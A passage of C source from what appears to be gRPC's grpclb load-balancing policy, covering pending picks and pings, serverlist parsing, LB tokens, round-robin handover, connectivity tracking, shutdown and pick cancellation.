/* output argument where to store the pick()ed connected subchannel, or NULL
* upon error. */
grpc_connected_subchannel **target;
/* args for wrapped_on_complete */
wrapped_rr_closure_arg wrapped_on_complete_arg;
} pending_pick;
static void add_pending_pick(pending_pick **root,
const grpc_lb_policy_pick_args *pick_args,
grpc_connected_subchannel **target,
grpc_call_context_element *context,
grpc_closure *on_complete) {
pending_pick *pp = (pending_pick *)gpr_zalloc(sizeof(*pp));
pp->next = *root;
pp->pick_args = *pick_args;
pp->target = target;
pp->wrapped_on_complete_arg.wrapped_closure = on_complete;
pp->wrapped_on_complete_arg.target = target;
pp->wrapped_on_complete_arg.context = context;
pp->wrapped_on_complete_arg.initial_metadata = pick_args->initial_metadata;
pp->wrapped_on_complete_arg.lb_token_mdelem_storage =
pick_args->lb_token_mdelem_storage;
pp->wrapped_on_complete_arg.free_when_done = pp;
GRPC_CLOSURE_INIT(&pp->wrapped_on_complete_arg.wrapper_closure,
wrapped_rr_closure, &pp->wrapped_on_complete_arg,
grpc_schedule_on_exec_ctx);
*root = pp;
}
/* Same as the \a pending_pick struct but for ping operations */
typedef struct pending_ping {
struct pending_ping *next;
/* args for wrapped_notify */
wrapped_rr_closure_arg wrapped_notify_arg;
} pending_ping;
static void add_pending_ping(pending_ping **root, grpc_closure *notify) {
pending_ping *pping = (pending_ping *)gpr_zalloc(sizeof(*pping));
pping->wrapped_notify_arg.wrapped_closure = notify;
pping->wrapped_notify_arg.free_when_done = pping;
pping->next = *root;
GRPC_CLOSURE_INIT(&pping->wrapped_notify_arg.wrapper_closure,
wrapped_rr_closure, &pping->wrapped_notify_arg,
grpc_schedule_on_exec_ctx);
*root = pping;
}
/*
* glb_lb_policy
*/
typedef struct rr_connectivity_data rr_connectivity_data;
typedef struct glb_lb_policy {
/** base policy: must be first */
grpc_lb_policy base;
/** who the client is trying to communicate with */
const char *server_name;
grpc_client_channel_factory *cc_factory;
grpc_channel_args *args;
/** timeout in milliseconds for the LB call. 0 means no deadline. */
int lb_call_timeout_ms;
/** timeout in milliseconds for before using fallback backend addresses.
* 0 means not using fallback. */
int lb_fallback_timeout_ms;
/** for communicating with the LB server */
grpc_channel *lb_channel;
/** response generator to inject address updates into \a lb_channel */
grpc_fake_resolver_response_generator *response_generator;
/** the RR policy to use of the backend servers returned by the LB server */
grpc_lb_policy *rr_policy;
bool started_picking;
/** our connectivity state tracker */
grpc_connectivity_state_tracker state_tracker;
/** connectivity state of the LB channel */
grpc_connectivity_state lb_channel_connectivity;
/** stores the deserialized response from the LB. May be NULL until one such
* response has arrived. */
grpc_grpclb_serverlist *serverlist;
/** Index into serverlist for next pick.
* If the server at this index is a drop, we return a drop.
* Otherwise, we delegate to the RR policy. */
size_t serverlist_index;
/** stores the backend addresses from the resolver */
grpc_lb_addresses *fallback_backend_addresses;
/** list of picks that are waiting on RR's policy connectivity */
pending_pick *pending_picks;
/** list of pings that are waiting on RR's policy connectivity */
pending_ping *pending_pings;
bool shutting_down;
/** are we currently updating lb_call? */
bool updating_lb_call;
/** are we already watching the LB channel's connectivity? */
bool watching_lb_channel;
/** is \a lb_call_retry_timer active? */
bool retry_timer_active;
/** is \a lb_fallback_timer active? */
bool fallback_timer_active;
/** called upon changes to the LB channel's connectivity. */
grpc_closure lb_channel_on_connectivity_changed;
/************************************************************/
/* client data associated with the LB server communication */
/************************************************************/
/* Status from the LB server has been received. This signals the end of the LB
* call. */
grpc_closure lb_on_server_status_received;
/* A response from the LB server has been received. Process it */
grpc_closure lb_on_response_received;
/* LB call retry timer callback. */
grpc_closure lb_on_call_retry;
/* LB fallback timer callback. */
grpc_closure lb_on_fallback;
grpc_call *lb_call; /* streaming call to the LB server, */
grpc_metadata_array lb_initial_metadata_recv; /* initial MD from LB server */
grpc_metadata_array
lb_trailing_metadata_recv; /* trailing MD from LB server */
/* what's being sent to the LB server. Note that its value may vary if the LB
* server indicates a redirect. */
grpc_byte_buffer *lb_request_payload;
/* response the LB server, if any. Processed in lb_on_response_received() */
grpc_byte_buffer *lb_response_payload;
/* call status code and details, set in lb_on_server_status_received() */
grpc_status_code lb_call_status;
grpc_slice lb_call_status_details;
/** LB call retry backoff state */
grpc_backoff lb_call_backoff_state;
/** LB call retry timer */
grpc_timer lb_call_retry_timer;
/** LB fallback timer */
grpc_timer lb_fallback_timer;
bool seen_initial_response;
/* Stats for client-side load reporting. Should be unreffed and
* recreated whenever lb_call is replaced. */
grpc_grpclb_client_stats *client_stats;
/* Interval and timer for next client load report. */
grpc_millis client_stats_report_interval;
grpc_timer client_load_report_timer;
bool client_load_report_timer_pending;
bool last_client_load_report_counters_were_zero;
/* Closure used for either the load report timer or the callback for
* completion of sending the load report. */
grpc_closure client_load_report_closure;
/* Client load report message payload. */
grpc_byte_buffer *client_load_report_payload;
} glb_lb_policy;
/* Keeps track and reacts to changes in connectivity of the RR instance */
struct rr_connectivity_data {
grpc_closure on_change;
grpc_connectivity_state state;
glb_lb_policy *glb_policy;
};
static bool is_server_valid(const grpc_grpclb_server *server, size_t idx,
bool log) {
if (server->drop) return false;
const grpc_grpclb_ip_address *ip = &server->ip_address;
if (server->port >> 16 != 0) {
if (log) {
gpr_log(GPR_ERROR,
"Invalid port '%d' at index %lu of serverlist. Ignoring.",
server->port, (unsigned long)idx);
}
return false;
}
if (ip->size != 4 && ip->size != 16) {
if (log) {
gpr_log(GPR_ERROR,
"Expected IP to be 4 or 16 bytes, got %d at index %lu of "
"serverlist. Ignoring",
ip->size, (unsigned long)idx);
}
return false;
}
return true;
}
/* vtable for LB tokens in grpc_lb_addresses. */
static void *lb_token_copy(void *token) {
return token == NULL
? NULL
: (void *)GRPC_MDELEM_REF(grpc_mdelem{(uintptr_t)token}).payload;
}
static void lb_token_destroy(grpc_exec_ctx *exec_ctx, void *token) {
if (token != NULL) {
GRPC_MDELEM_UNREF(exec_ctx, grpc_mdelem{(uintptr_t)token});
}
}
static int lb_token_cmp(void *token1, void *token2) {
if (token1 > token2) return 1;
if (token1 < token2) return -1;
return 0;
}
static const grpc_lb_user_data_vtable lb_token_vtable = {
lb_token_copy, lb_token_destroy, lb_token_cmp};
static void parse_server(const grpc_grpclb_server *server,
grpc_resolved_address *addr) {
memset(addr, 0, sizeof(*addr));
if (server->drop) return;
const uint16_t netorder_port = htons((uint16_t)server->port);
/* the addresses are given in binary format (a in(6)_addr struct) in
* server->ip_address.bytes. */
const grpc_grpclb_ip_address *ip = &server->ip_address;
if (ip->size == 4) {
addr->len = sizeof(struct sockaddr_in);
struct sockaddr_in *addr4 = (struct sockaddr_in *)&addr->addr;
addr4->sin_family = AF_INET;
memcpy(&addr4->sin_addr, ip->bytes, ip->size);
addr4->sin_port = netorder_port;
} else if (ip->size == 16) {
addr->len = sizeof(struct sockaddr_in6);
struct sockaddr_in6 *addr6 = (struct sockaddr_in6 *)&addr->addr;
addr6->sin6_family = AF_INET6;
memcpy(&addr6->sin6_addr, ip->bytes, ip->size);
addr6->sin6_port = netorder_port;
}
}
/* Returns addresses extracted from \a serverlist. */
static grpc_lb_addresses *process_serverlist_locked(
grpc_exec_ctx *exec_ctx, const grpc_grpclb_serverlist *serverlist) {
size_t num_valid = 0;
/* first pass: count how many are valid in order to allocate the necessary
* memory in a single block */
for (size_t i = 0; i < serverlist->num_servers; ++i) {
if (is_server_valid(serverlist->servers[i], i, true)) ++num_valid;
}
grpc_lb_addresses *lb_addresses =
grpc_lb_addresses_create(num_valid, &lb_token_vtable);
/* second pass: actually populate the addresses and LB tokens (aka user data
* to the outside world) to be read by the RR policy during its creation.
* Given that the validity tests are very cheap, they are performed again
* instead of marking the valid ones during the first pass, as this would
* incurr in an allocation due to the arbitrary number of server */
size_t addr_idx = 0;
for (size_t sl_idx = 0; sl_idx < serverlist->num_servers; ++sl_idx) {
const grpc_grpclb_server *server = serverlist->servers[sl_idx];
if (!is_server_valid(serverlist->servers[sl_idx], sl_idx, false)) continue;
GPR_ASSERT(addr_idx < num_valid);
/* address processing */
grpc_resolved_address addr;
parse_server(server, &addr);
/* lb token processing */
void *user_data;
if (server->has_load_balance_token) {
const size_t lb_token_max_length =
GPR_ARRAY_SIZE(server->load_balance_token);
const size_t lb_token_length =
strnlen(server->load_balance_token, lb_token_max_length);
grpc_slice lb_token_mdstr = grpc_slice_from_copied_buffer(
server->load_balance_token, lb_token_length);
user_data = (void *)grpc_mdelem_from_slices(exec_ctx, GRPC_MDSTR_LB_TOKEN,
lb_token_mdstr)
.payload;
} else {
char *uri = grpc_sockaddr_to_uri(&addr);
gpr_log(GPR_INFO,
"Missing LB token for backend address '%s'. The empty token will "
"be used instead",
uri);
gpr_free(uri);
user_data = (void *)GRPC_MDELEM_LB_TOKEN_EMPTY.payload;
}
grpc_lb_addresses_set_address(lb_addresses, addr_idx, &addr.addr, addr.len,
false /* is_balancer */,
NULL /* balancer_name */, user_data);
++addr_idx;
}
GPR_ASSERT(addr_idx == num_valid);
return lb_addresses;
}
/* Returns the backend addresses extracted from the given addresses */
static grpc_lb_addresses *extract_backend_addresses_locked(
grpc_exec_ctx *exec_ctx, const grpc_lb_addresses *addresses) {
/* first pass: count the number of backend addresses */
size_t num_backends = 0;
for (size_t i = 0; i < addresses->num_addresses; ++i) {
if (!addresses->addresses[i].is_balancer) {
++num_backends;
}
}
/* second pass: actually populate the addresses and (empty) LB tokens */
grpc_lb_addresses *backend_addresses =
grpc_lb_addresses_create(num_backends, &lb_token_vtable);
size_t num_copied = 0;
for (size_t i = 0; i < addresses->num_addresses; ++i) {
if (addresses->addresses[i].is_balancer) continue;
const grpc_resolved_address *addr = &addresses->addresses[i].address;
grpc_lb_addresses_set_address(backend_addresses, num_copied, &addr->addr,
addr->len, false /* is_balancer */,
NULL /* balancer_name */,
(void *)GRPC_MDELEM_LB_TOKEN_EMPTY.payload);
++num_copied;
}
return backend_addresses;
}
static void update_lb_connectivity_status_locked(
grpc_exec_ctx *exec_ctx, glb_lb_policy *glb_policy,
grpc_connectivity_state rr_state, grpc_error *rr_state_error) {
const grpc_connectivity_state curr_glb_state =
grpc_connectivity_state_check(&glb_policy->state_tracker);
/* The new connectivity status is a function of the previous one and the new
* input coming from the status of the RR policy.
*
* current state (grpclb's)
* |
* v || I | C | R | TF | SD | <- new state (RR's)
* ===++====+=====+=====+======+======+
* I || I | C | R | [I] | [I] |
* ---++----+-----+-----+------+------+
* C || I | C | R | [C] | [C] |
* ---++----+-----+-----+------+------+
* R || I | C | R | [R] | [R] |
* ---++----+-----+-----+------+------+
* TF || I | C | R | [TF] | [TF] |
* ---++----+-----+-----+------+------+
* SD || NA | NA | NA | NA | NA | (*)
* ---++----+-----+-----+------+------+
*
* A [STATE] indicates that the old RR policy is kept. In those cases, STATE
* is the current state of grpclb, which is left untouched.
*
* In summary, if the new state is TRANSIENT_FAILURE or SHUTDOWN, stick to
* the previous RR instance.
*
* Note that the status is never updated to SHUTDOWN as a result of calling
* this function. Only glb_shutdown() has the power to set that state.
*
* (*) This function mustn't be called during shutting down. */
GPR_ASSERT(curr_glb_state != GRPC_CHANNEL_SHUTDOWN);
switch (rr_state) {
case GRPC_CHANNEL_TRANSIENT_FAILURE:
case GRPC_CHANNEL_SHUTDOWN:
GPR_ASSERT(rr_state_error != GRPC_ERROR_NONE);
break;
case GRPC_CHANNEL_INIT:
case GRPC_CHANNEL_IDLE:
case GRPC_CHANNEL_CONNECTING:
case GRPC_CHANNEL_READY:
GPR_ASSERT(rr_state_error == GRPC_ERROR_NONE);
}
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(
GPR_INFO, "Setting grpclb's state to %s from new RR policy %p state.",
grpc_connectivity_state_name(rr_state), (void *)glb_policy->rr_policy);
}
grpc_connectivity_state_set(exec_ctx, &glb_policy->state_tracker, rr_state,
rr_state_error,
"update_lb_connectivity_status_locked");
}
/* Perform a pick over \a glb_policy->rr_policy. Given that a pick can return
* immediately (ignoring its completion callback), we need to perform the
* cleanups this callback would otherwise be resposible for.
* If \a force_async is true, then we will manually schedule the
* completion callback even if the pick is available immediately. */
static bool pick_from_internal_rr_locked(
grpc_exec_ctx *exec_ctx, glb_lb_policy *glb_policy,
const grpc_lb_policy_pick_args *pick_args, bool force_async,
grpc_connected_subchannel **target, wrapped_rr_closure_arg *wc_arg) {
// Check for drops if we are not using fallback backend addresses.
if (glb_policy->serverlist != NULL) {
// Look at the index into the serverlist to see if we should drop this call.
grpc_grpclb_server *server =
glb_policy->serverlist->servers[glb_policy->serverlist_index++];
if (glb_policy->serverlist_index == glb_policy->serverlist->num_servers) {
glb_policy->serverlist_index = 0; // Wrap-around.
}
if (server->drop) {
// Not using the RR policy, so unref it.
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_INFO, "Unreffing RR for drop (0x%" PRIxPTR ")",
(intptr_t)wc_arg->rr_policy);
}
GRPC_LB_POLICY_UNREF(exec_ctx, wc_arg->rr_policy, "glb_pick_sync");
// Update client load reporting stats to indicate the number of
// dropped calls. Note that we have to do this here instead of in
// the client_load_reporting filter, because we do not create a
// subchannel call (and therefore no client_load_reporting filter)
// for dropped calls.
grpc_grpclb_client_stats_add_call_dropped_locked(
server->load_balance_token, wc_arg->client_stats);
grpc_grpclb_client_stats_unref(wc_arg->client_stats);
if (force_async) {
GPR_ASSERT(wc_arg->wrapped_closure != NULL);
GRPC_CLOSURE_SCHED(exec_ctx, wc_arg->wrapped_closure, GRPC_ERROR_NONE);
gpr_free(wc_arg->free_when_done);
return false;
}
gpr_free(wc_arg->free_when_done);
return true;
}
}
// Pick via the RR policy.
const bool pick_done = grpc_lb_policy_pick_locked(
exec_ctx, wc_arg->rr_policy, pick_args, target, wc_arg->context,
(void **)&wc_arg->lb_token, &wc_arg->wrapper_closure);
if (pick_done) {
/* synchronous grpc_lb_policy_pick call. Unref the RR policy. */
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_INFO, "Unreffing RR (0x%" PRIxPTR ")",
(intptr_t)wc_arg->rr_policy);
}
GRPC_LB_POLICY_UNREF(exec_ctx, wc_arg->rr_policy, "glb_pick_sync");
/* add the load reporting initial metadata */
initial_metadata_add_lb_token(exec_ctx, pick_args->initial_metadata,
pick_args->lb_token_mdelem_storage,
GRPC_MDELEM_REF(wc_arg->lb_token));
// Pass on client stats via context. Passes ownership of the reference.
GPR_ASSERT(wc_arg->client_stats != NULL);
wc_arg->context[GRPC_GRPCLB_CLIENT_STATS].value = wc_arg->client_stats;
wc_arg->context[GRPC_GRPCLB_CLIENT_STATS].destroy = destroy_client_stats;
if (force_async) {
GPR_ASSERT(wc_arg->wrapped_closure != NULL);
GRPC_CLOSURE_SCHED(exec_ctx, wc_arg->wrapped_closure, GRPC_ERROR_NONE);
gpr_free(wc_arg->free_when_done);
return false;
}
gpr_free(wc_arg->free_when_done);
}
/* else, the pending pick will be registered and taken care of by the
* pending pick list inside the RR policy (glb_policy->rr_policy).
* Eventually, wrapped_on_complete will be called, which will -among other
* things- add the LB token to the call's initial metadata */
return pick_done;
}
static grpc_lb_policy_args *lb_policy_args_create(grpc_exec_ctx *exec_ctx,
glb_lb_policy *glb_policy) {
grpc_lb_addresses *addresses;
if (glb_policy->serverlist != NULL) {
GPR_ASSERT(glb_policy->serverlist->num_servers > 0);
addresses = process_serverlist_locked(exec_ctx, glb_policy->serverlist);
} else {
// If rr_handover_locked() is invoked when we haven't received any
// serverlist from the balancer, we use the fallback backends returned by
// the resolver. Note that the fallback backend list may be empty, in which
// case the new round_robin policy will keep the requested picks pending.
GPR_ASSERT(glb_policy->fallback_backend_addresses != NULL);
addresses = grpc_lb_addresses_copy(glb_policy->fallback_backend_addresses);
}
GPR_ASSERT(addresses != NULL);
grpc_lb_policy_args *args = (grpc_lb_policy_args *)gpr_zalloc(sizeof(*args));
args->client_channel_factory = glb_policy->cc_factory;
args->combiner = glb_policy->base.combiner;
// Replace the LB addresses in the channel args that we pass down to
// the subchannel.
static const char *keys_to_remove[] = {GRPC_ARG_LB_ADDRESSES};
const grpc_arg arg = grpc_lb_addresses_create_channel_arg(addresses);
args->args = grpc_channel_args_copy_and_add_and_remove(
glb_policy->args, keys_to_remove, GPR_ARRAY_SIZE(keys_to_remove), &arg,
1);
grpc_lb_addresses_destroy(exec_ctx, addresses);
return args;
}
static void lb_policy_args_destroy(grpc_exec_ctx *exec_ctx,
grpc_lb_policy_args *args) {
grpc_channel_args_destroy(exec_ctx, args->args);
gpr_free(args);
}
static void glb_rr_connectivity_changed_locked(grpc_exec_ctx *exec_ctx,
void *arg, grpc_error *error);
static void create_rr_locked(grpc_exec_ctx *exec_ctx, glb_lb_policy *glb_policy,
grpc_lb_policy_args *args) {
GPR_ASSERT(glb_policy->rr_policy == NULL);
grpc_lb_policy *new_rr_policy =
grpc_lb_policy_create(exec_ctx, "round_robin", args);
if (new_rr_policy == NULL) {
gpr_log(GPR_ERROR,
"Failure creating a RoundRobin policy for serverlist update with "
"%lu entries. The previous RR instance (%p), if any, will continue "
"to be used. Future updates from the LB will attempt to create new "
"instances.",
(unsigned long)glb_policy->serverlist->num_servers,
(void *)glb_policy->rr_policy);
return;
}
glb_policy->rr_policy = new_rr_policy;
grpc_error *rr_state_error = NULL;
const grpc_connectivity_state rr_state =
grpc_lb_policy_check_connectivity_locked(exec_ctx, glb_policy->rr_policy,
&rr_state_error);
/* Connectivity state is a function of the RR policy updated/created */
update_lb_connectivity_status_locked(exec_ctx, glb_policy, rr_state,
rr_state_error);
/* Add the gRPC LB's interested_parties pollset_set to that of the newly
* created RR policy. This will make the RR policy progress upon activity on
* gRPC LB, which in turn is tied to the application's call */
grpc_pollset_set_add_pollset_set(exec_ctx,
glb_policy->rr_policy->interested_parties,
glb_policy->base.interested_parties);
/* Allocate the data for the tracking of the new RR policy's connectivity.
* It'll be deallocated in glb_rr_connectivity_changed() */
rr_connectivity_data *rr_connectivity =
(rr_connectivity_data *)gpr_zalloc(sizeof(rr_connectivity_data));
GRPC_CLOSURE_INIT(&rr_connectivity->on_change,
glb_rr_connectivity_changed_locked, rr_connectivity,
grpc_combiner_scheduler(glb_policy->base.combiner));
rr_connectivity->glb_policy = glb_policy;
rr_connectivity->state = rr_state;
/* Subscribe to changes to the connectivity of the new RR */
GRPC_LB_POLICY_WEAK_REF(&glb_policy->base, "glb_rr_connectivity_cb");
grpc_lb_policy_notify_on_state_change_locked(exec_ctx, glb_policy->rr_policy,
&rr_connectivity->state,
&rr_connectivity->on_change);
grpc_lb_policy_exit_idle_locked(exec_ctx, glb_policy->rr_policy);
/* Update picks and pings in wait */
pending_pick *pp;
while ((pp = glb_policy->pending_picks)) {
glb_policy->pending_picks = pp->next;
GRPC_LB_POLICY_REF(glb_policy->rr_policy, "rr_handover_pending_pick");
pp->wrapped_on_complete_arg.rr_policy = glb_policy->rr_policy;
pp->wrapped_on_complete_arg.client_stats =
grpc_grpclb_client_stats_ref(glb_policy->client_stats);
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_INFO, "Pending pick about to (async) PICK from %p",
(void *)glb_policy->rr_policy);
}
pick_from_internal_rr_locked(exec_ctx, glb_policy, &pp->pick_args,
true /* force_async */, pp->target,
&pp->wrapped_on_complete_arg);
}
pending_ping *pping;
while ((pping = glb_policy->pending_pings)) {
glb_policy->pending_pings = pping->next;
GRPC_LB_POLICY_REF(glb_policy->rr_policy, "rr_handover_pending_ping");
pping->wrapped_notify_arg.rr_policy = glb_policy->rr_policy;
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_INFO, "Pending ping about to PING from 0x%" PRIxPTR "",
(intptr_t)glb_policy->rr_policy);
}
grpc_lb_policy_ping_one_locked(exec_ctx, glb_policy->rr_policy,
&pping->wrapped_notify_arg.wrapper_closure);
}
}
/* glb_policy->rr_policy may be NULL (initial handover) */
static void rr_handover_locked(grpc_exec_ctx *exec_ctx,
glb_lb_policy *glb_policy) {
if (glb_policy->shutting_down) return;
grpc_lb_policy_args *args = lb_policy_args_create(exec_ctx, glb_policy);
GPR_ASSERT(args != NULL);
if (glb_policy->rr_policy != NULL) {
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_DEBUG, "Updating Round Robin policy (%p)",
(void *)glb_policy->rr_policy);
}
grpc_lb_policy_update_locked(exec_ctx, glb_policy->rr_policy, args);
} else {
create_rr_locked(exec_ctx, glb_policy, args);
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_DEBUG, "Created new Round Robin policy (%p)",
(void *)glb_policy->rr_policy);
}
}
lb_policy_args_destroy(exec_ctx, args);
}
static void glb_rr_connectivity_changed_locked(grpc_exec_ctx *exec_ctx,
void *arg, grpc_error *error) {
rr_connectivity_data *rr_connectivity = (rr_connectivity_data *)arg;
glb_lb_policy *glb_policy = rr_connectivity->glb_policy;
if (glb_policy->shutting_down) {
GRPC_LB_POLICY_WEAK_UNREF(exec_ctx, &glb_policy->base,
"glb_rr_connectivity_cb");
gpr_free(rr_connectivity);
return;
}
if (rr_connectivity->state == GRPC_CHANNEL_SHUTDOWN) {
/* An RR policy that has transitioned into the SHUTDOWN connectivity state
* should not be considered for picks or updates: the SHUTDOWN state is a
* sink, policies can't transition back from it. .*/
GRPC_LB_POLICY_UNREF(exec_ctx, glb_policy->rr_policy,
"rr_connectivity_shutdown");
glb_policy->rr_policy = NULL;
GRPC_LB_POLICY_WEAK_UNREF(exec_ctx, &glb_policy->base,
"glb_rr_connectivity_cb");
gpr_free(rr_connectivity);
return;
}
/* rr state != SHUTDOWN && !glb_policy->shutting down: biz as usual */
update_lb_connectivity_status_locked(
exec_ctx, glb_policy, rr_connectivity->state, GRPC_ERROR_REF(error));
/* Resubscribe. Reuse the "glb_rr_connectivity_cb" weak ref. */
grpc_lb_policy_notify_on_state_change_locked(exec_ctx, glb_policy->rr_policy,
&rr_connectivity->state,
&rr_connectivity->on_change);
}
static void destroy_balancer_name(grpc_exec_ctx *exec_ctx,
void *balancer_name) {
gpr_free(balancer_name);
}
static grpc_slice_hash_table_entry targets_info_entry_create(
const char *address, const char *balancer_name) {
grpc_slice_hash_table_entry entry;
entry.key = grpc_slice_from_copied_string(address);
entry.value = gpr_strdup(balancer_name);
return entry;
}
static int balancer_name_cmp_fn(void *a, void *b) {
const char *a_str = (const char *)a;
const char *b_str = (const char *)b;
return strcmp(a_str, b_str);
}
/* Returns the channel args for the LB channel, used to create a bidirectional
* stream for the reception of load balancing updates.
*
* Inputs:
* - \a addresses: corresponding to the balancers.
* - \a response_generator: in order to propagate updates from the resolver
* above the grpclb policy.
* - \a args: other args inherited from the grpclb policy. */
static grpc_channel_args *build_lb_channel_args(
grpc_exec_ctx *exec_ctx, const grpc_lb_addresses *addresses,
grpc_fake_resolver_response_generator *response_generator,
const grpc_channel_args *args) {
size_t num_grpclb_addrs = 0;
for (size_t i = 0; i < addresses->num_addresses; ++i) {
if (addresses->addresses[i].is_balancer) ++num_grpclb_addrs;
}
/* All input addresses come from a resolver that claims they are LB services.
* It's the resolver's responsibility to make sure this policy is only
* instantiated and used in that case. Otherwise, something has gone wrong. */
GPR_ASSERT(num_grpclb_addrs > 0);
grpc_lb_addresses *lb_addresses =
grpc_lb_addresses_create(num_grpclb_addrs, NULL);
grpc_slice_hash_table_entry *targets_info_entries =
(grpc_slice_hash_table_entry *)gpr_zalloc(sizeof(*targets_info_entries) *
num_grpclb_addrs);
size_t lb_addresses_idx = 0;
for (size_t i = 0; i < addresses->num_addresses; ++i) {
if (!addresses->addresses[i].is_balancer) continue;
if (addresses->addresses[i].user_data != NULL) {
gpr_log(GPR_ERROR,
"This LB policy doesn't support user data. It will be ignored");
}
char *addr_str;
GPR_ASSERT(grpc_sockaddr_to_string(
&addr_str, &addresses->addresses[i].address, true) > 0);
targets_info_entries[lb_addresses_idx] = targets_info_entry_create(
addr_str, addresses->addresses[i].balancer_name);
gpr_free(addr_str);
grpc_lb_addresses_set_address(
lb_addresses, lb_addresses_idx++, addresses->addresses[i].address.addr,
addresses->addresses[i].address.len, false /* is balancer */,
addresses->addresses[i].balancer_name, NULL /* user data */);
}
GPR_ASSERT(num_grpclb_addrs == lb_addresses_idx);
grpc_slice_hash_table *targets_info =
grpc_slice_hash_table_create(num_grpclb_addrs, targets_info_entries,
destroy_balancer_name, balancer_name_cmp_fn);
gpr_free(targets_info_entries);
grpc_channel_args *lb_channel_args =
grpc_lb_policy_grpclb_build_lb_channel_args(exec_ctx, targets_info,
response_generator, args);
grpc_arg lb_channel_addresses_arg =
grpc_lb_addresses_create_channel_arg(lb_addresses);
grpc_channel_args *result = grpc_channel_args_copy_and_add(
lb_channel_args, &lb_channel_addresses_arg, 1);
grpc_slice_hash_table_unref(exec_ctx, targets_info);
grpc_channel_args_destroy(exec_ctx, lb_channel_args);
grpc_lb_addresses_destroy(exec_ctx, lb_addresses);
return result;
}
static void glb_destroy(grpc_exec_ctx *exec_ctx, grpc_lb_policy *pol) {
glb_lb_policy *glb_policy = (glb_lb_policy *)pol;
GPR_ASSERT(glb_policy->pending_picks == NULL);
GPR_ASSERT(glb_policy->pending_pings == NULL);
gpr_free((void *)glb_policy->server_name);
grpc_channel_args_destroy(exec_ctx, glb_policy->args);
if (glb_policy->client_stats != NULL) {
grpc_grpclb_client_stats_unref(glb_policy->client_stats);
}
grpc_connectivity_state_destroy(exec_ctx, &glb_policy->state_tracker);
if (glb_policy->serverlist != NULL) {
grpc_grpclb_destroy_serverlist(glb_policy->serverlist);
}
if (glb_policy->fallback_backend_addresses != NULL) {
grpc_lb_addresses_destroy(exec_ctx, glb_policy->fallback_backend_addresses);
}
grpc_fake_resolver_response_generator_unref(glb_policy->response_generator);
grpc_subchannel_index_unref();
gpr_free(glb_policy);
}
static void glb_shutdown_locked(grpc_exec_ctx *exec_ctx, grpc_lb_policy *pol) {
glb_lb_policy *glb_policy = (glb_lb_policy *)pol;
glb_policy->shutting_down = true;
/* We need a copy of the lb_call pointer because we can't cancell the call
* while holding glb_policy->mu: lb_on_server_status_received, invoked due to
* the cancel, needs to acquire that same lock */
grpc_call *lb_call = glb_policy->lb_call;
/* glb_policy->lb_call and this local lb_call must be consistent at this point
* because glb_policy->lb_call is only assigned in lb_call_init_locked as part
* of query_for_backends_locked, which can only be invoked while
* glb_policy->shutting_down is false. */
if (lb_call != NULL) {
grpc_call_cancel(lb_call, NULL);
/* lb_on_server_status_received will pick up the cancel and clean up */
}
if (glb_policy->retry_timer_active) {
grpc_timer_cancel(exec_ctx, &glb_policy->lb_call_retry_timer);
glb_policy->retry_timer_active = false;
}
if (glb_policy->fallback_timer_active) {
grpc_timer_cancel(exec_ctx, &glb_policy->lb_fallback_timer);
glb_policy->fallback_timer_active = false;
}
pending_pick *pp = glb_policy->pending_picks;
glb_policy->pending_picks = NULL;
pending_ping *pping = glb_policy->pending_pings;
glb_policy->pending_pings = NULL;
if (glb_policy->rr_policy != NULL) {
GRPC_LB_POLICY_UNREF(exec_ctx, glb_policy->rr_policy, "glb_shutdown");
}
// We destroy the LB channel here because
// glb_lb_channel_on_connectivity_changed_cb needs a valid glb_policy
// instance. Destroying the lb channel in glb_destroy would likely result in
// a callback invocation without a valid glb_policy arg.
if (glb_policy->lb_channel != NULL) {
grpc_channel_destroy(glb_policy->lb_channel);
glb_policy->lb_channel = NULL;
}
grpc_connectivity_state_set(
exec_ctx, &glb_policy->state_tracker, GRPC_CHANNEL_SHUTDOWN,
GRPC_ERROR_CREATE_FROM_STATIC_STRING("Channel Shutdown"), "glb_shutdown");
while (pp != NULL) {
pending_pick *next = pp->next;
*pp->target = NULL;
GRPC_CLOSURE_SCHED(exec_ctx, &pp->wrapped_on_complete_arg.wrapper_closure,
GRPC_ERROR_NONE);
pp = next;
}
while (pping != NULL) {
pending_ping *next = pping->next;
GRPC_CLOSURE_SCHED(exec_ctx, &pping->wrapped_notify_arg.wrapper_closure,
GRPC_ERROR_NONE);
pping = next;
}
}
// Cancel a specific pending pick.
//
// A grpclb pick progresses as follows:
// - If there's a Round Robin policy (glb_policy->rr_policy) available, it'll be
// handed over to the RR policy (in create_rr_locked()). From that point
// onwards, it'll be RR's responsibility. For cancellations, that implies the
// pick needs also be cancelled by the RR instance.
// - Otherwise, without an RR instance, picks stay pending at this policy's
// level (grpclb), inside the glb_policy->pending_picks list. To cancel these,
// we invoke the completion closure and set *target to NULL right here.
static void glb_cancel_pick_locked(grpc_exec_ctx *exec_ctx, grpc_lb_policy *pol,
grpc_connected_subchannel **target,
grpc_error *error) {
glb_lb_policy *glb_policy = (glb_lb_policy *)pol;
pending_pick *pp = glb_policy->pending_picks;
glb_policy->pending_picks = NULL;
while (pp != NULL) {
pending_pick *next = pp->next;
if (pp->target == target) {
*target = NULL;
GRPC_CLOSURE_SCHED(exec_ctx, &pp->wrapped_on_complete_arg.wrapper_closure,
GRPC_ERROR_CREATE_REFERENCING_FROM_STATIC_STRING(
"Pick Cancelled", &error, 1));
} else {
pp->next = glb_policy->pending_picks;
glb_policy->pending_picks = pp;
}
pp = next;
}
if (glb_policy->rr_policy != NULL) {
grpc_lb_policy_cancel_pick_locked(exec_ctx, glb_policy->rr_policy, target,
GRPC_ERROR_REF(error));
}
GRPC_ERROR_UNREF(error);
}
// Cancel all pending picks.
//
// A grpclb pick progresses as follows:
// - If there's a Round Robin policy (glb_policy->rr_policy) available, it'll be
// handed over to the RR policy (in create_rr_locked()). From that point
// onwards, it'll be RR's responsibility. For cancellations, that implies the
// pick needs also be cancelled by the RR instance.
// - Otherwise, without an RR instance, picks stay pending at this policy's
// level (grpclb), inside the glb_policy->pending_picks list. To cancel these,
// we invoke the completion closure and set *target to NULL right here.
static void glb_cancel_picks_locked(grpc_exec_ctx *exec_ctx,
